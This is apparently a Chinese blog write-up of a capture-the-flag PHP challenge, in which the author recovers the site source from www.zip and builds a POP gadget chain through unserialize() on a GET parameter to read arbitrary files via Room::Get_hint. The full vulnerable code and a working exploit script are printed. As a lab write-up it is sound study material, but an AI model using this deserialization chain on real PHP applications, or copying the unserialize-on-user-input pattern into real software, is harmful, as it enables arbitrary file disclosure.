打开网站后提示I think you need /etc/hint . Before this you need to see the source code
说是要去访问/etc/hint,可是也没有任意路径访问之类的东西,再看后半句,提示source code,那么就先尝试下www.zip,结果一次成功,下载下来源码:
<meta charset="utf-8"><?php//hint is in hint.phperror_reporting(1);class Start{public $name='guest';public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function __construct(){echo "I think you need /etc/hint . Before this you need to see the source code";}public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}public function __get($cc){echo "give you flag : ".$this->flag;return ;}}class Info{private $phonenumber=123123;public $promise='I do';public function __construct(){$this->promise='I will not !!!!';return $this->promise;}public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}}class Room{public $filename='/flag';public $sth_to_set;public $a='';public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}}if(isset($_GET['hello'])){unserialize($_GET['hello']);}else{$hi = new Start();}?>
去网上查阅了一番,这题考察的是pop链的构造。
审计代码后,发现Room类中的Get_hint中可以读取任意文件,并且$filename变量提示/flag,那么漏洞函数找到了,只要想办法调用即可,梳理下逻辑:
想要调用Get_hint,需要先触发__invoke函数,__invoke函数当尝试将对象调用为函数时触发,例如:
<?phpclass CallableClass{function __invoke($x) {var_dump($x);}}$obj = new CallableClass;$obj(5);var_dump(is_callable($obj));?>
从代码中可以看到有类似操作的地方在Room类中的__get()函数中,所以需要想办法调用__get(),php manual中对于__get()的描述:读取不可访问属性的值时,__get会被调用。
所以需要执行Info类中的__toString()方法:
public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}
而要调用__toString()方法,把类当作字符串使用时触发,继续查找可以看到Start类中的_sayhello函数:
public function _sayhello(){echo $this->name;return 'ok';}
而调用_sayhello就很简单了,就在__wakeup函数中。
接下来就是构造pop链:
<?phpclass Start{public $name;public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}}class Info{public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}}class Room{public $filename='hint.php';public $a='';public $sth_to_set;public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}}$a=new Start();$b=new Info();$c=new Room();$b->file['filename']=$c;$a->name=$b;$c->a=$c;$c->sth_to_set=$a;echo(serialize($c))?>
得到序列化字符串后提交,得到一串base64文本,删掉前面自带的hi,解码得到flag。说实话没想到居然能一下子getflag,第一次做这种题
